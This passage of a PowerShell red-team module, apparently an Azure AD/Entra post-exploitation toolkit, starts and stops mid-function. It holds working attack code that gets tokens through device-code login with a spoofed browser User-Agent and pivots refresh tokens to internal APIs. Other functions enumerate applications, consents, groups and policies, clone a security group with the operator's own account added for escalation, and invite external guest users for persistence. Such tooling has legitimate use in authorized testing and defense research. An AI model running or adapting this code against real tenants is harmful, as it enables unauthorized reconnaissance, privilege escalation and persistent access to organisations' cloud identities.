|
|
|
|
foreach ($includeExclude in @("Include", "Exclude")) {
|
|
if ($conditionData.$includeExclude) {
|
|
$conditionValues = @()
|
|
|
|
foreach ($includeData in $conditionData.$includeExclude) {
|
|
$includeType = $includeData.PSObject.Properties.Name
|
|
$includeValues = $includeData.PSObject.Properties.Value -split ', '
|
|
$resolvedUsers = @()
|
|
if($ResolveGuids){
|
|
foreach ($guid in $includeValues) {
|
|
if ($guid -match '^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$') {
|
|
$resolvedUser = ResolveGUID $guid $HeadersAuth
|
|
$resolvedUsers += $resolvedUser
|
|
} else {
|
|
$resolvedUsers += $guid
|
|
}
|
|
}
|
|
}
|
|
else{
|
|
foreach ($guid in $includeValues) {
|
|
$resolvedUsers += $guid
|
|
}
|
|
}
|
|
$includeValue = "$($resolvedUsers -join ', ')"
|
|
$conditionValues += "`t`t`t$includeType : $includeValue"
|
|
}
|
|
|
|
if ($conditionValues.Count -gt 0) {
|
|
$conditionText += "`t`t$includeExclude :`n$($conditionValues -join "`n")`n"
|
|
}
|
|
}
|
|
}
|
|
|
|
$formattedCondition = "`t$conditionType :`n$conditionText"
|
|
Write-Host -ForegroundColor DarkGray $formattedCondition
|
|
}
|
|
Write-Host -ForegroundColor DarkGray "Controls: $controls"
|
|
} else {
|
|
Write-Host "Display Name: $displayName"
|
|
Write-Host "Policy Type: $policyType"
|
|
Write-Host "Policy State: $policyState"
|
|
Write-Host "Conditions:`n"
|
|
$formattedConditions = @()
|
|
|
|
foreach ($condition in $conditionspreformat.PSObject.Properties) {
|
|
$conditionType = $condition.Name
|
|
$conditionData = $condition.Value
|
|
|
|
$conditionText = ""
|
|
|
|
foreach ($includeExclude in @("Include", "Exclude")) {
|
|
if ($conditionData.$includeExclude) {
|
|
$conditionValues = @()
|
|
|
|
foreach ($includeData in $conditionData.$includeExclude) {
|
|
$includeType = $includeData.PSObject.Properties.Name
|
|
$includeValues = $includeData.PSObject.Properties.Value -split ', '
|
|
$resolvedUsers = @()
|
|
if($ResolveGuids){
|
|
foreach ($guid in $includeValues) {
|
|
if ($guid -match '^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$') {
|
|
$resolvedUser = ResolveGUID $guid $HeadersAuth
|
|
$resolvedUsers += $resolvedUser
|
|
} else {
|
|
$resolvedUsers += $guid
|
|
}
|
|
}
|
|
}
|
|
else{
|
|
foreach ($guid in $includeValues) {
|
|
$resolvedUsers += $guid
|
|
}
|
|
}
|
|
$includeValue = "$($resolvedUsers -join ', ')"
|
|
$conditionValues += "`t`t`t$includeType : $includeValue"
|
|
}
|
|
|
|
if ($conditionValues.Count -gt 0) {
|
|
$conditionText += "`t`t$includeExclude :`n$($conditionValues -join "`n")`n"
|
|
}
|
|
}
|
|
}
|
|
|
|
$formattedCondition = "`t$conditionType :`n$conditionText"
|
|
$formattedCondition
|
|
}
|
|
|
|
Write-Host "Controls: $controls"
|
|
}
|
|
# Separator
|
|
Write-Host ("=" * 80)
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
|
|
function ResolveGUID($guid,$HeadersAuth) {
|
|
$url = "https://graph.windows.net/$tenantid/directoryObjects/$guid/?api-version=1.61-internal"
|
|
try{
|
|
$resolvedObject = Invoke-RestMethod -Method Get -Uri $url -Headers $HeadersAuth -ErrorAction Stop
|
|
} catch {
|
|
return "Unresolved: $guid"
|
|
continue
|
|
}
|
|
if ($resolvedObject.objectType -eq "User") {
|
|
return "$($resolvedObject.userPrincipalName)"
|
|
} elseif ($resolvedObject.objectType -eq "Group") {
|
|
return "$($resolvedObject.displayName)"
|
|
} else {
|
|
return "Unresolved: $guid"
|
|
}
|
|
}
|
|
|
|
|
|
|
|
Function Invoke-DumpApps{
|
|
<#
|
|
.SYNOPSIS
|
|
Dump all of the app registrations and external enterprise apps as well as list members that have consented to permissions on their accounts.
|
|
Author: Beau Bullock (@dafthack)
|
|
License: MIT
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Dump all of the app registrations and external enterprise apps as well as list members that have consented to permissions on their accounts.
|
|
|
|
.EXAMPLES
|
|
|
|
C:\PS> Invoke-DumpApps -Tokens $tokens
|
|
#>
|
|
|
|
Param(
|
|
|
|
[Parameter(Position = 0, Mandatory = $False)]
|
|
[object[]]
|
|
$Tokens = ""
|
|
|
|
)
|
|
|
|
if($Tokens){
|
|
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
|
|
$accesstoken = $tokens.access_token
|
|
$refreshtoken = $tokens.refresh_token
|
|
}
|
|
else{
|
|
|
|
Write-Host -ForegroundColor yellow "[*] Initiating a device code login"
|
|
|
|
$body = @{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"resource" = "https://graph.microsoft.com"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers=@{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
Write-Host -ForegroundColor yellow $authResponse.Message
|
|
|
|
$continue = "authorization_pending"
|
|
while($continue)
|
|
{
|
|
|
|
$body=@{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
}
|
|
try{
|
|
$global:tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($tokens)
|
|
{
|
|
write-host -ForegroundColor Yellow '[*] Successful Auth! Access and refresh tokens are accessible in the $tokens variable.'
|
|
$accesstoken = $tokens.access_token
|
|
$refreshToken = $tokens.refresh_token
|
|
break
|
|
}
|
|
Start-Sleep -Seconds 3
|
|
}
|
|
}
|
|
|
|
|
|
Write-Host -ForegroundColor yellow "[*] Getting Microsoft Graph Object ID"
|
|
|
|
# Get full service principal list
|
|
|
|
$initialUrl = "https://graph.microsoft.com/v1.0/servicePrincipals"
|
|
$headers = @{"Authorization" = "Bearer $accesstoken"}
|
|
|
|
# Initialize an array to store all collected data
|
|
$allData = @()
|
|
|
|
# Loop until there's no more nextLink
|
|
do {
|
|
# Invoke the web request
|
|
$response = Invoke-WebRequest -Uri $initialUrl -Headers $headers
|
|
|
|
# Convert the response content to JSON
|
|
$jsonData = $response.Content | ConvertFrom-Json
|
|
|
|
# Add the current page's data to the array
|
|
$allData += $jsonData.value
|
|
|
|
# Check if there's a nextLink
|
|
if ($jsonData.'@odata.nextLink') {
|
|
$initialUrl = $jsonData.'@odata.nextLink'
|
|
} else {
|
|
|
|
break
|
|
}
|
|
} while ($true)
|
|
|
|
$appDisplayNameToSearch = "Microsoft Graph"
|
|
$graphId = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty appId
|
|
$graphIdInternal = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty Id
|
|
Write-Output "Graph ID: $graphId"
|
|
Write-Output "Internal Graph ID: $graphIdInternal"
|
|
|
|
# Get Object IDs of individual permissions
|
|
Write-Host -ForegroundColor yellow "[*] Now getting object IDs for scope objects..."
|
|
$spns = Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$graphIdInternal" -Headers $headers
|
|
$spnsjson = $spns.Content | ConvertFrom-Json
|
|
|
|
# Construct the Graph API endpoint
|
|
$graphApiUrl = "https://graph.microsoft.com/v1.0"
|
|
|
|
Write-Host -ForegroundColor yellow "[*] App Registrations:"
|
|
|
|
# Query app registrations
|
|
$appRegistrations = Invoke-RestMethod -Uri "$graphApiUrl/applications" -Headers @{ Authorization = "Bearer $accessToken" }
|
|
|
|
# Separator
|
|
Write-Host ("=" * 80)
|
|
|
|
# Loop through each app registration
|
|
foreach ($app in $appRegistrations.value) {
|
|
$appId = $app.appId
|
|
$appName = $app.displayName
|
|
$createtime = $app.createdDateTime
|
|
$signinaudience = $app.signInAudience
|
|
|
|
# Query users who have consented to the app's permissions
|
|
$approleurl = ($graphApiUrl + "/servicePrincipals(appId='" + $appId + "')/appRoleAssignedTo")
|
|
$consentedUsers = Invoke-RestMethod -Uri $approleurl -Headers @{ Authorization = "Bearer $accessToken" }
|
|
|
|
# Display app information and consented users
|
|
Write-Host "App Name: $appName (App ID: $appId)"
|
|
Write-Host "Creation Date: $createtime"
|
|
Write-Host "Sign-In Audience: $signinaudience"
|
|
foreach ($user in $consentedUsers.value) {
|
|
$userId = $user.principalId
|
|
$userDisplayName = $user.principalDisplayName
|
|
Write-Host "Consented User: $userDisplayName (User ID: $userId)"
|
|
}
|
|
# Loop through each resource access entry
|
|
foreach ($resourceAccess in $app.requiredResourceAccess) {
|
|
$resourceAppId = $resourceAccess.resourceAppId
|
|
$appscopes = @()
|
|
$delegatedscopes = @()
|
|
|
|
# Loop through each resource access item
|
|
foreach ($accessItem in $resourceAccess.resourceAccess) {
|
|
$scopeGuid = $accessItem.id
|
|
|
|
# Use the spn list to find names of permissions
|
|
foreach($approle in $spnsjson.appRoles){
|
|
if ($scopeGuid -like $approle.id) {
|
|
$scopeName = $approle.value
|
|
$appscopes += $scopeName
|
|
}
|
|
}
|
|
foreach($scoperole in $spnsjson.oauth2PermissionScopes){
|
|
if ($scopeGuid -like $scoperole.id) {
|
|
$dscopeName = $scoperole.value
|
|
$delegatedscopes += $dscopeName
|
|
}
|
|
}
|
|
}
|
|
|
|
# Display the resource app ID and associated permission names (scopes)
|
|
if ($appscopes.Count -gt 0) {
|
|
Write-Host "App Permissions (Scopes): $($appscopes -join ', ')"
|
|
}
|
|
if ($delegatedscopes -gt 0) {
|
|
Write-Host "Delegated Permissions (Scopes): $($delegatedscopes -join ', ')"
|
|
}
|
|
}
|
|
Write-Host ""
|
|
# Separator
|
|
Write-Host ("=" * 80)
|
|
}
|
|
|
|
Write-Host -ForegroundColor yellow "[*] Now looking for external apps. Any apps displayed below are not owned by the current tenant or Microsoft's main app tenant."
|
|
Write-Host ("=" * 80)
|
|
|
|
$orginfo = Invoke-RestMethod -Uri "$graphApiUrl/organization" -Headers $headers
|
|
$tenantid = $orginfo.value.id
|
|
|
|
$authUrl = "https://login.microsoftonline.com/$tenantid"
|
|
$unsupurl = "https://main.iam.ad.ext.azure.com"
|
|
|
|
$unsupbody = @{
|
|
"resource" = "74658136-14ec-4630-ad9b-26e160ff0fc6"
|
|
"client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
|
|
"grant_type" = "refresh_token"
|
|
"refresh_token" = $refreshToken
|
|
"scope"= "openid"
|
|
}
|
|
|
|
$unsuptokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $unsupbody
|
|
$unsupaccesstoken = $unsuptokens.access_token
|
|
|
|
foreach ($serviceprincipal in $allData){
|
|
$EntAppsScope = ""
|
|
# Filter out Microsoft Tenant service principals like Kaizala, Teams, etc... MS Tenant = f8cdef31-a31e-4b4a-93e4-5f571e91255a
|
|
if ($serviceprincipal.AppOwnerOrganizationId -ne "f8cdef31-a31e-4b4a-93e4-5f571e91255a" -and $serviceprincipal.AppOwnerOrganizationId -ne $tenantid)
|
|
{
|
|
$body = @{
|
|
"client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
|
|
"resource" = "74658136-14ec-4630-ad9b-26e160ff0fc6"
|
|
}
|
|
$unsupheaders = @{
|
|
"Authorization" = "Bearer " + $unsupaccesstoken
|
|
"Content-type" = "application/json"
|
|
"X-Requested-With" = "XMLHttpRequest"
|
|
"x-ms-client-request-id" = [guid]::NewGuid()
|
|
"x-ms-correlation-id" = [guid]::NewGuid()
|
|
}
|
|
|
|
$unsupfullurl = ($unsupurl + "/api/EnterpriseApplications/" + $serviceprincipal.Id + "/ServicePrincipalPermissions?consentType=User&userObjectId=")
|
|
$EntAppsScope = Invoke-RestMethod -Method GET -Uri $unsupfullurl -Headers $unsupheaders
|
|
|
|
$unsupAdminfullurl = ($unsupurl + "/api/EnterpriseApplications/" + $serviceprincipal.Id + "/ServicePrincipalPermissions?consentType=Admin&userObjectId=")
|
|
$EntAppsAdminScope = Invoke-RestMethod -Method GET -Uri $unsupAdminfullurl -Headers $unsupheaders
|
|
|
|
|
|
|
|
Write-Host ("External App: " + $serviceprincipal.displayName)
|
|
Write-Host ("AppId: " + $serviceprincipal.AppId)
|
|
Write-Host ("Object ID: " + $serviceprincipal.Id)
|
|
Write-Host ("appOwnerOrganizationId: " + $serviceprincipal.appOwnerOrganizationId)
|
|
Write-Host ("Creation Date: " + $serviceprincipal.createdDateTime)
|
|
Write-Host "Scope of Consent:"
|
|
Foreach ($Entscopeitem in $EntAppsScope){
|
|
$principals = @()
|
|
foreach($userorgroup in $Entscopeitem.principalIds){
|
|
$userobject = Invoke-RestMethod -uri "$($graphApiUrl)/users/$userorgroup" -Headers $headers
|
|
$principals += $userobject.userPrincipalName
|
|
}
|
|
Write-Host ($Entscopeitem.permissionId + ", " + $Entscopeitem.permissionType + ", " + $($principals -join '; '))
|
|
}
|
|
Foreach ($Entscopeadminitem in $EntAppsAdminScope){
|
|
$principals = @()
|
|
foreach($userorgroup in $Entscopeadminitem.principalIds){
|
|
$userobject = Invoke-RestMethod -uri "$($graphApiUrl)/users/$userorgroup" -Headers $headers
|
|
$principals += $userobject.userPrincipalName
|
|
}
|
|
Write-Host ($Entscopeadminitem.permissionId + ", " + $Entscopeadminitem.permissionType + ", " + $($principals -join '; '))
|
|
}
|
|
Write-Host ""
|
|
Write-Host ("=" * 80)
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
function Get-SecurityGroups{
|
|
param (
|
|
[string] $AccessToken
|
|
)
|
|
$headers = @{
|
|
Authorization = "Bearer $accessToken"
|
|
}
|
|
|
|
Write-Host -ForegroundColor Yellow "[*] Now getting a list of groups along with members from the directory..."
|
|
|
|
# Get all groups and group types
|
|
$graphApiUrl = "https://graph.microsoft.com/v1.0"
|
|
$groupsUrl = "$graphApiUrl/groups?$filter=securityEnabled eq true"
|
|
|
|
$groupsResponse = Invoke-RestMethod -Uri $groupsUrl -Headers $headers -Method Get
|
|
|
|
$groups = $groupsResponse.value
|
|
|
|
|
|
#Get Group Members
|
|
|
|
$groupsWithMemberIDs = @()
|
|
|
|
foreach ($group in $groups) {
|
|
$groupId = $group.id
|
|
$membersUrl = "$graphApiUrl/groups/$groupId/members"
|
|
|
|
$membersResponse = Invoke-RestMethod -Uri $membersUrl -Headers $headers -Method Get
|
|
$members = $membersResponse.value
|
|
|
|
$memberIds = $members | ForEach-Object { $_.id }
|
|
|
|
$groupInfo = @{
|
|
GroupName = $group.displayName
|
|
MemberIds = $memberIds -join ","
|
|
}
|
|
Write-Host ("Group Name: " + $group.displayName + " | Members: " + ($($members.userPrincipalName) -join ', '))
|
|
Write-Host ""
|
|
Write-Host ("=" * 80)
|
|
$groupsWithMemberIDs += New-Object PSObject -Property $groupInfo
|
|
}
|
|
|
|
return $groupsWithMemberIDs
|
|
|
|
}
|
|
|
|
|
|
function Create-SecurityGroupWithMembers {
|
|
param (
|
|
[string] $AccessToken,
|
|
[string] $DisplayName,
|
|
[string[]] $MemberIds
|
|
)
|
|
|
|
$graphApiUrl = "https://graph.microsoft.com/v1.0"
|
|
$createGroupUrl = "$graphApiUrl/groups"
|
|
|
|
$headers = @{
|
|
Authorization = "Bearer $AccessToken"
|
|
"Content-Type" = "application/json"
|
|
}
|
|
|
|
$groupProperties = @{
|
|
displayName = $DisplayName
|
|
securityEnabled = $true
|
|
mailEnabled = $false
|
|
mailNickname = $DisplayName -replace ' ', ''
|
|
"members@odata.bind" = $MemberIds
|
|
}
|
|
|
|
$groupData = @{
|
|
displayName = $DisplayName
|
|
securityEnabled = $true
|
|
mailEnabled = $false
|
|
mailNickname = $DisplayName -replace ' ', ''
|
|
"members@odata.bind" = $MemberIds
|
|
}
|
|
|
|
$groupJson = $groupData | ConvertTo-Json
|
|
|
|
$response = Invoke-RestMethod -Uri $createGroupUrl -Headers $headers -Method Post -Body $groupJson
|
|
|
|
if ($response -ne $null) {
|
|
Write-Host -ForegroundColor Green "Security Group '$DisplayName' created successfully."
|
|
} else {
|
|
Write-Error "Error creating the security group."
|
|
}
|
|
}
|
|
|
|
|
|
|
|
function Invoke-SecurityGroupCloner{
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
Clones a security group in Azure Active Directory and allows you to add your own account.
|
|
Author: Beau Bullock (@dafthack)
|
|
License: MIT
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Clones a security group in Azure Active Directory and allows you to add your own account.
|
|
|
|
.EXAMPLES
|
|
|
|
C:\PS> Invoke-SecurityGroupCloner -Tokens $tokens
|
|
#>
|
|
|
|
Param(
|
|
|
|
[Parameter(Position = 0, Mandatory = $False)]
|
|
[object[]]
|
|
$Tokens = ""
|
|
|
|
)
|
|
|
|
if($Tokens){
|
|
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
|
|
$accesstoken = $tokens.access_token
|
|
$refreshtoken = $tokens.refresh_token
|
|
}
|
|
else{
|
|
|
|
# Login
|
|
Write-Host -ForegroundColor yellow "[*] First, you need to login as the user you want to clone a group as."
|
|
|
|
$body = @{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"resource" = "https://graph.microsoft.com"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers=@{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
Write-Host -ForegroundColor yellow $authResponse.Message
|
|
|
|
$continue = "authorization_pending"
|
|
while($continue)
|
|
{
|
|
|
|
$body=@{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
}
|
|
try{
|
|
$global:tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($tokens)
|
|
{
|
|
write-host -ForegroundColor yellow '[*] Successful Auth! Access and refresh tokens are accessible in the $tokens variable.'
|
|
$accesstoken = $tokens.access_token
|
|
break
|
|
}
|
|
Start-Sleep -Seconds 3
|
|
}
|
|
}
|
|
|
|
$headers = @{
|
|
Authorization = "Bearer $accessToken"
|
|
}
|
|
|
|
$secgroups = Get-SecurityGroups -AccessToken $accessToken
|
|
$CloneGroup = ""
|
|
while($CloneGroup -eq ""){
|
|
Write-Host -ForegroundColor Cyan "[*] Enter a group name you want to clone:"
|
|
$CloneGroup = Read-Host
|
|
|
|
if ($secgroups.GroupName -contains $CloneGroup) {
|
|
Write-Host -ForegroundColor yellow ("[*] Found group " + $CloneGroup)
|
|
} else {
|
|
Write-Output "Invalid group try again."
|
|
$CloneGroup = ""
|
|
}
|
|
}
|
|
|
|
$memberIds = @()
|
|
foreach ($group in $secgroups){
|
|
If ($group.GroupName -eq $cloneGroup){
|
|
$memberlist = $group.memberIds.split(",")
|
|
foreach($member in $memberlist){
|
|
$memberIds += ("https://graph.microsoft.com/v1.0/users/" + $member )
|
|
}
|
|
}
|
|
}
|
|
Write-Host -ForegroundColor Cyan "[*] Do you want to add your current user to the cloned group? (Yes/No)"
|
|
$answer = Read-Host
|
|
$answer = $answer.ToLower()
|
|
if ($answer -eq "yes" -or $answer -eq "y") {
|
|
Write-Host -ForegroundColor yellow "[*] Adding current user to the cloned group..."
|
|
$currentuser = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers
|
|
$memberIds += ("https://graph.microsoft.com/v1.0/users/" + $currentuser.Id)
|
|
} elseif ($answer -eq "no" -or $answer -eq "n") {
|
|
Write-Output "[*] Not adding your user"
|
|
} else {
|
|
Write-Output "Invalid input. Please enter Yes or No."
|
|
}
|
|
|
|
$memberIdsUniq = $memberIds | Select-Object -Unique
|
|
|
|
Create-SecurityGroupWithMembers -AccessToken $accessToken -DisplayName $CloneGroup -MemberIds $memberIdsUniq
|
|
}
|
|
|
|
|
|
|
|
function Invite-GuestUser{
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
Invites a guest user to an Azure Active Directory tenant.
|
|
Author: Beau Bullock (@dafthack)
|
|
License: MIT
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Invites a guest user to an Azure Active Directory tenant.
|
|
|
|
.EXAMPLES
|
|
|
|
C:\PS> Invite-GuestUser -Tokens $tokens -DisplayName "Lord Voldemort" -EmailAddress "iamlordvoldemort@31337schoolofhackingandwizardry.com"
|
|
#>
|
|
|
|
Param(
|
|
|
|
[Parameter(Position = 0, Mandatory = $False)]
|
|
[string]
|
|
$DisplayName = "",
|
|
|
|
[Parameter(Position = 1, Mandatory = $False)]
|
|
[string]
|
|
$EmailAddress = "",
|
|
|
|
[Parameter(Position = 2, Mandatory = $False)]
|
|
[string]
|
|
$RedirectUrl = "",
|
|
|
|
[Parameter(Position = 3, Mandatory = $False)]
|
|
[string]
|
|
$SendInvitationMessage = "",
|
|
|
|
[Parameter(Position = 4, Mandatory = $False)]
|
|
[string]
|
|
$CustomMessageBody = "",
|
|
|
|
[Parameter(Position = 5, Mandatory = $False)]
|
|
[object[]]
|
|
$Tokens = ""
|
|
|
|
)
|
|
if($Tokens){
|
|
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
|
|
$accesstoken = $tokens.access_token
|
|
$refreshtoken = $tokens.refresh_token
|
|
}
|
|
else{
|
|
Write-Host -ForegroundColor yellow "[*] Initiating a device code login"
|
|
|
|
$body = @{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"resource" = "https://graph.microsoft.com"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers=@{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
Write-Host -ForegroundColor yellow $authResponse.Message
|
|
|
|
$continue = "authorization_pending"
|
|
while($continue)
|
|
{
|
|
|
|
$body=@{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
}
|
|
try{
|
|
$global:tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($tokens)
|
|
{
|
|
write-host -ForegroundColor Yellow '[*] Successful Auth! Access and refresh tokens are accessible in the $tokens variable.'
|
|
$accesstoken = $tokens.access_token
|
|
$refreshToken = $tokens.refresh_token
|
|
break
|
|
}
|
|
Start-Sleep -Seconds 3
|
|
}
|
|
}
|
|
$headers = @{"Authorization" = "Bearer $accesstoken"}
|
|
# Construct the Graph API endpoint
|
|
$graphApiUrl = "https://graph.microsoft.com/v1.0"
|
|
$orginfo = Invoke-RestMethod -Uri "$graphApiUrl/organization" -Headers $headers
|
|
$tenantid = $orginfo.value.id
|
|
|
|
|
|
# Prompt user for input
|
|
if(!$EmailAddress){
|
|
$EmailAddress = Read-Host "Enter the Email Address to Invite"
|
|
}
|
|
|
|
if(!$DisplayName){
|
|
$DisplayName = Read-Host "Enter the Display Name"
|
|
}
|
|
|
|
if(!$RedirectUrl){
|
|
$RedirectUrl = Read-Host "Enter the Redirect URI (leave blank to use the default)"
|
|
}
|
|
if($RedirectUrl -eq ""){
|
|
$RedirectUrl = ("https://myapplications.microsoft.com/?tenantid=" + $tenantid)
|
|
}
|
|
|
|
if(!$SendInvitationMessage){
|
|
$SendInvitationMessage = Read-Host "Send an Email Invitation? (true/false)"
|
|
}
|
|
|
|
if (!$CustomMessageBody){
|
|
$CustomMessageBody = Read-Host "Enter a custom message body or leave blank"
|
|
}
|
|
|
|
# Construct the JSON payload
|
|
$invitationData = @{
|
|
invitedUserEmailAddress = $EmailAddress
|
|
invitedUserDisplayname = $Displayname
|
|
inviteRedirectUrl = $RedirectUrl
|
|
sendInvitationMessage = [System.Convert]::ToBoolean($SendInvitationMessage)
|
|
invitedUserMessageInfo = @{
|
|
customizedMessageBody = $MessageBody
|
|
}
|
|
}
|
|
|
|
# Convert to JSON format
|
|
$invitationJson = $invitationData | ConvertTo-Json
|
|
|
|
|
|
# Make the POST request
|
|
$response = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/invitations" -Method Post -Headers $headers -Body $invitationJson
|
|
|
|
# Check the response
|
|
if ($response -ne $null) {
|
|
Write-Host -ForegroundColor Green "[*] External user invited sent successfully."
|
|
Write-Host ("Display Name: " + $response.invitedUserDisplayName)
|
|
Write-Host ("Email Address: " + $response.invitedUserEmailAddress)
|
|
Write-Host ("Object ID: " + $response.invitedUser.id)
|
|
Write-Host ("Invite Redeem URL: " + $response.inviteRedeemUrl)
|
|
} else {
|
|
Write-Error "Error sending invitation."
|
|
}
|
|
}
|
|
|
|
|
|
|
|
function Invoke-GraphRecon{
|
|
|
|
<#
|
|
.SYNOPSIS
|
|
PowerShell module to perform general recon via the Azure AD Graph API.
|
|
Author: Beau Bullock (@dafthack)
|
|
License: MIT
|
|
Required Dependencies: None
|
|
Optional Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
PowerShell module to perform general recon via the Azure AD Graph API.
|
|
|
|
.EXAMPLES
|
|
|
|
C:\PS> Invoke-GraphRecon -Tokens $tokens
|
|
#>
|
|
|
|
param(
|
|
[Parameter(Position = 0, Mandatory = $False)]
|
|
[object[]]
|
|
$Tokens = ""
|
|
)
|
|
if($Tokens){
|
|
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
|
|
$accesstoken = $tokens.access_token
|
|
$refreshtoken = $tokens.refresh_token
|
|
Write-Host -ForegroundColor Yellow "[*] Refreshing token to the Azure AD Graph API..."
|
|
$RefreshToken = $tokens.refresh_token
|
|
$authUrl = "https://login.microsoftonline.com/$tenantid"
|
|
$refreshbody = @{
|
|
"resource" = "https://graph.windows.net"
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "refresh_token"
|
|
"refresh_token" = $RefreshToken
|
|
"scope"= "user_impersonation"
|
|
}
|
|
|
|
try{
|
|
$reftokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $refreshbody
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
Write-Output $details.error
|
|
}
|
|
if($reftokens)
|
|
{
|
|
$aadtokens = $reftokens
|
|
$access_token = $aadtokens.access_token
|
|
}
|
|
}
|
|
else{
|
|
|
|
# Login
|
|
Write-Host -ForegroundColor yellow "[*] Initiating a device code login."
|
|
|
|
$body = @{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"resource" = "https://graph.windows.net"
|
|
}
|
|
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
$Headers=@{}
|
|
$Headers["User-Agent"] = $UserAgent
|
|
$authResponse = Invoke-RestMethod `
|
|
-UseBasicParsing `
|
|
-Method Post `
|
|
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
-Headers $Headers `
|
|
-Body $body
|
|
Write-Host -ForegroundColor yellow $authResponse.Message
|
|
|
|
$continue = "authorization_pending"
|
|
while($continue)
|
|
{
|
|
|
|
$body=@{
|
|
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
|
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
"code" = $authResponse.device_code
|
|
"scope" = "user_impersonation"
|
|
}
|
|
try{
|
|
